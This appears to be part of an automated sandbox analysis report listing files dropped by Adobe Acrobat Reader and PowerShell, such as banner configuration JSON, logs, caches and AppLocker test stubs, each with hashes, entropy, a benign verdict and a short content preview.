Preview:	{"analyticsData":{"responseGUID":"d2d48b1c-628d-4f2d-848f-49717dda30f3","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736707718980,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.331375869524478
Encrypted:	false
SSDEEP:	6:YEQXJ2HXaIQSw8KGnZiQ0YoiEeoAvJfzdPeUkwRe9:YvXKXaIHwacUsGb8Ukee9
MD5:	2CD687091B262E5F006D4CD85E50313C
SHA1:	DB77513F4C15366AC6C4E3D50728A01C3D61B36E
SHA-256:	9809278E10C7711F6947ECDDDBEBC7912F4A6E7B91E6B5F436E23CD33C473324
SHA-512:	B0C0419FA081D0B8425E0DC14BDACD910A92E713BD120072340534E22F1A6FC250A3EEB4DAB71CC485B7A9AE1E7D08870C25A21CFD31B4DD7636983834FB1E87
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d2d48b1c-628d-4f2d-848f-49717dda30f3","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736707718980,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.311975183468357
Encrypted:	false
SSDEEP:	6:YEQXJ2HXaIQSw8KGnZiQ0YoiEeoAvJfYdPeUkwRe9:YvXKXaIHwacUsGg8Ukee9
MD5:	E6D42BDCABBEB6F83020C87010CD66E5
SHA1:	728A03FC14697FAD70713C7A5DED2F06AE1451A9
SHA-256:	766C0082E6C69236EC718E52E6A3CDADD115E8158281E9F58937960034658530
SHA-512:	C1CEE0D0AA0D9A09686726CD7B41DFCBEA60F1E7596EE70B7035388373B2FA4A12366763E691D5ADB912E690E66227E1F59D2F147E941A5491A609F4A0AEB7FA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d2d48b1c-628d-4f2d-848f-49717dda30f3","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736707718980,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.297918685453054
Encrypted:	false
SSDEEP:	6:YEQXJ2HXaIQSw8KGnZiQ0YoiEeoAvJf+dPeUkwRe9:YvXKXaIHwacUsG28Ukee9
MD5:	43679B86A3D5DB4F51C2B5D566D57E21
SHA1:	A6B4817723B20A20A098DA856B6F1EB3FB96034C
SHA-256:	951CCFCA358AB1AA55CB443C48852B089F01F268CBED87C73E7C7A85EAFEFECE
SHA-512:	8F5570BF504F3BC8FC987960C60FECEC32F70A853766D21E6C9544357BF11EDE088635DF0F536600B3FAC0C150AB199B48E48FC45579CF1B04ADE5DBECBC8A6B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d2d48b1c-628d-4f2d-848f-49717dda30f3","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736707718980,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.2954399774757706
Encrypted:	false
SSDEEP:	6:YEQXJ2HXaIQSw8KGnZiQ0YoiEeoAvJfbPtdPeUkwRe9:YvXKXaIHwacUsGDV8Ukee9
MD5:	6AF62A0E80647507FCE498546EA5012A
SHA1:	C221BA8169A03AAEF9706BAE7D97FBE729CEC9C4
SHA-256:	D2F51A90F371F9E084E696F6E16F429E9922131D4EFAFC18A2A49E76553B964F
SHA-512:	C32D6CDD58ADD2DC9A4FAC23DA2D0008AF5A3958A3EBBF2A6AD62C305E52098E88E2FA0527E192DAD95779A1CCF65F8B9E366F863FCAE83BE714BBCC3B24A3B1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d2d48b1c-628d-4f2d-848f-49717dda30f3","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736707718980,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.298672671600581
Encrypted:	false
SSDEEP:	6:YEQXJ2HXaIQSw8KGnZiQ0YoiEeoAvJf21rPeUkwRe9:YvXKXaIHwacUsG+16Ukee9
MD5:	B0DB3AEAAF97B0ACC0963D7F02F536DB
SHA1:	071EA72232C76C3F86370DA8C1BD6A65EC201536
SHA-256:	31CF328DEE21CA6896866D722AB9B835A366FC38EE76E3ACFD36B06838A0DCAD
SHA-512:	B2D7C8929E2832B028CCA0652E731A3DB0DE32C283D822DE8C2F8995331FED983BF7059392B0211BCA6D63C74AF770B3E3C4D601D0FA7609D12D68B49F323673
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d2d48b1c-628d-4f2d-848f-49717dda30f3","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736707718980,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.669735794759921
Encrypted:	false
SSDEEP:	24:Yv6XpAQamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSy:YvgxBgkDMUJUAh8cvMy
MD5:	9F39166DCAEA9053BCCEB505EE15C36F
SHA1:	0640DB8718A7D522E04BF4368A03CE821BAAF593
SHA-256:	FAFF05644A77504A8A04F1492FE21FCF45A7936B7678BE72CE6577AFA31290F8
SHA-512:	73C5F4E5CED4D3CA915741AEAC914B7054C5BCE68785E622131D55CEC28820C0AFCF5CF919544D4B750F52217FE363F21400CD35B3A394AA70AE2E56601BDD0B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d2d48b1c-628d-4f2d-848f-49717dda30f3","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736707718980,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.272566700337883
Encrypted:	false
SSDEEP:	6:YEQXJ2HXaIQSw8KGnZiQ0YoiEeoAvJfshHHrPeUkwRe9:YvXKXaIHwacUsGUUUkee9
MD5:	02DFC2B7A933F64412D4A3A01E1BB483
SHA1:	34B540CB9145B61F207FA34EE0D96A787CECEA71
SHA-256:	8D323D4D259F7FBB80B50B302D77A492C43D8380910E0113DD0F6FA882D85C1C
SHA-512:	31CD850F2F8ACCB72AFBFABC59505CD451290C0948A248A25112BBAB6B32D3A07927223FC6B046FEB75A81932558D5026708A10E38DD3275C1B0D5B90EE9C6F2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d2d48b1c-628d-4f2d-848f-49717dda30f3","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736707718980,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.27795005131934
Encrypted:	false
SSDEEP:	6:YEQXJ2HXaIQSw8KGnZiQ0YoiEeoAvJTqgFCrPeUkwRe9:YvXKXaIHwacUsGTq16Ukee9
MD5:	10DC35AD123AC10B7AEA6AF2E6B77ED1
SHA1:	A0DBC6EF5D8717136AC24112CED7E8E6D8A7B152
SHA-256:	8A6BA7134AE8F6EF0CD108988B8A03307666C7E943F7E29A23DFC7672C990E48
SHA-512:	FBB85446309449C41A55F2C02D6620777FA5D59A88397166712C446109E2507514A003A0C99B79D7301A485433E1D790993F444BFE938486CC8FCBCB56F7B540
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d2d48b1c-628d-4f2d-848f-49717dda30f3","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736707718980,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.138196814998731
Encrypted:	false
SSDEEP:	24:Y9lbaqR8B3ayr73bvE/TEZPifmuGuI9jqj0SbikYgf269JP2LSlCs4aMgMrQ5BLl:Y9f25+QZ8/GNM+aHnPDT4ZgHBh95/t
MD5:	4CE232F62F1BF59D61D71BE1EE2398D2
SHA1:	27D307D95485248D5724C2AC657989790537EC58
SHA-256:	DE6C9341B9F610B2F8A829F2F9F41EB1CE2E56E3CB42132FE09C8C78FB9F9C92
SHA-512:	831E76EA75AA869F0E19546605ED4BB504814FFF60AE707FBD472EAA1B22ABABCB8E624FB5CDD1B19ABB6A950A9452ACADD94FD708C43A4833118F3BC47E5311
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"dfef7177216325533b9427b606c5edb9","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736529713000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"741668327ad72f171fb8322564262ea5","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736529713000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"4842a4b11b73b013504bc36d0879754b","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736529713000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"4c8dc96876c01ded7dffa55d1ded913b","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736529713000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"b3915779df418ec3a7add6b56c4699f6","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736529713000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"bbd054647c8b17b72eee1b7a9bd3ab29","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 24, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 24
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.146496899029898
Encrypted:	false
SSDEEP:	24:TLhx/XYKQvGJF7urs4eRZXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcG:TFl2GL7ms4AXc+XcGNFlRYIX2v3knm
MD5:	BBAEFDD136AAA3A890C5D35EFDA530F5
SHA1:	C159E36685D9D0CF69E7B5187D216AA03A20C681
SHA-256:	CF142EB7AB7982BECD431685C73B2A896B47847EA08BAFF919C7BEB582C411E7
SHA-512:	8AAEAE74065C79216A7D43F0344F000BA6E7FCFE565DF5B4D1B6C14B3DCE2457A4BCCCD6155CE3F82E938E21F2351FF5372EF1903AB4D09AF667B19111882BC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.5526956192448584
Encrypted:	false
SSDEEP:	24:7+tlYeUXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcHRuLuxyqLxx/XYs:7MlY3Xc+XcGNFlRYIX2v/qVl2GL7msZ
MD5:	3F8E14FD68299A562F989A9E26199A18
SHA1:	C50B48585F742C348ED90A142DA2F2265D7636B2
SHA-256:	C8E7C51DADE042FEFD71BA57F305F2D5508FECA79C4A1BF05594ED3672758D33
SHA-512:	0BA94CBD54E48E93DE4A303E52D1DA5F4398D31AA70EC261EB9CE9C1D5B8EE0590627D1C6F15019E39727D8AC9C4B24C4DFA15C6A089111A1CAF12FED53ABE6A
Malicious:	false
Preview:	.... .c..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................b..b.b.b.b.b.b.b.b.b.b.b.b.b..................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEg5QRFSuZp+PjuE3Ro4tjTM6Mz9CYyu:6a6TZ44ADEKRFf+PHRoIToYK
MD5:	A478075F26E81DA57F4004E9B353505E
SHA1:	7A7F06F7387F1E987ADFF5746C6F5D8D8C416510
SHA-256:	CBD92F5C272766687D97A02A8CBCDFC45A7FA8FEA12BC790D26EF3DB764DAA79
SHA-512:	AEF23B55ACD317C648FC48D36BDEEB7B238AAF60986A72F9085ECFCC86980FF7C6FFC844CA7A41E23B86F0705B35F58B29E65B72F18A23078B5DAC27FB847B39
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulnmWllZ:NllUmWl
MD5:	3EBBEC2F920D055DAC842B4FF84448FA
SHA1:	52D2AD86C481FAED6187FC7E6655C5BD646CA663
SHA-256:	32441EEF46369E90F192889F3CC91721ECF615B0395CEC99996AB8CF06C59D09
SHA-512:	163F2BECB9695851B36E3F502FA812BFBF6B88E4DCEA330A03995282E2C848A7DE6B9FDBA740E3DF536AB65390FBE3CC5F41F91505603945C0C79676B48EE5C3
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI121ab.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.493870954423123
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClE3Ss9:Qw946cPbiOxDlbYnuRK+bD3l9
MD5:	5A63D24B73481A6D9FB9302EC9E48591
SHA1:	846E0773CA29F4773FE68DC86567EFF7AFB4EB01
SHA-256:	B13A47E1A8171DD89C60E2BB561B410EB99BC6FB07F4E26FCB32BA5CE10D32BB
SHA-512:	C6D2EE59802DCADE76B05462365D11CFDF9967CE9CFF6141B65F64E390038E09B16E35C2155172E89CC2A4A6373ABF288C4B4F0491631C0DC01B17319DE5C475
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.2.:.2.1.:.5.4. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_azbgie5f.wxx.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ov0vwzjx.zal.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A9kimt5j_4kkl5k_354.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 12-21-46-663.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.338264912747007
Encrypted:	false
SSDEEP:	384:lH4ZASLaTgKoBKkrNdOZTfUY9/B6u6AJ8dbBNrSVNspYiz5LkiTjgjQLhDydAY8s:kIb
MD5:	128A51060103D95314048C2F32A15C66
SHA1:	EEB64761BE485729CD12BF4FBF7F2A68BA1AD7DB
SHA-256:	601388D70DFB723E560FEA6AE08E5FEE8C1A980DF7DF9B6C10E1EC39705D4713
SHA-512:	55099B6F65D6EF41BC0C077BF810A13BA338C503974B4A5F2AA8EB286E1FCF49DF96318B1DA691296FB71AA8F2A2EA1406C4E86F219B40FB837F2E0BF208E677
Malicious:	false
Preview:	SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.363241174358403
Encrypted:	false
SSDEEP:	384:CSIDwmVX5eTZGUwsoG9koeXjiyHMb59fK915Pj/I8VXVJPiOCLxIs/B82HqgK4MZ:ejt9L
MD5:	610EEC98E79BAD1BEB62FEF19F08E6F0
SHA1:	3347A09596FE9023BB07C3664773083E08D4BF44
SHA-256:	DED0D1E55FF93C8B2F6124CA46F1CA82EFC11A246225034A88AC89B655A0D487
SHA-512:	91D7FF6A45ED0F0662E1CAB58B651CC6885B335E5730168BA96398F0C97929BC27ABE412132CA88CB55CA7890872EF61B12EC72D83D403CFEBD1F3A86C73CAAE
Malicious:	false
Preview:	SessionID=812d15ac-b49e-4588-bd1d-71f9beb4e2af.1736529706676 Timestamp=2025-01-10T12:21:46:676-0500 ThreadID=7324 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=812d15ac-b49e-4588-bd1d-71f9beb4e2af.1736529706676 Timestamp=2025-01-10T12:21:46:677-0500 ThreadID=7324 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=812d15ac-b49e-4588-bd1d-71f9beb4e2af.1736529706676 Timestamp=2025-01-10T12:21:46:677-0500 ThreadID=7324 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=812d15ac-b49e-4588-bd1d-71f9beb4e2af.1736529706676 Timestamp=2025-01-10T12:21:46:677-0500 ThreadID=7324 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=812d15ac-b49e-4588-bd1d-71f9beb4e2af.1736529706676 Timestamp=2025-01-10T12:21:46:677-0500 ThreadID=7324 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.395317990999376
Encrypted:	false
SSDEEP:	192:acb4I3dcbPcbaIO4cbYcbqnIdjcb6acbaIewcbdGcbwIH7cbR:V3fOCIdJDePZHQ
MD5:	3C5C8CFBE35DE780858DDF7DCD0FAD9E
SHA1:	4499C99205885BD3278579FF6A8E97C7E755EFBF
SHA-256:	7EACBD41BC8C2556189C95B117CB5F2A549050CBD1BFD525E3B79A336BE64ECB
SHA-512:	68B1A7C6957657A4A141A8A972F5B62D89EC94073C7E6BD2196A98892161DFB31E0FA17F356BBE0F3E57786A9E8085B3FB93A2DC1DC3AAAA6023FD451E6C348A
Malicious:	false
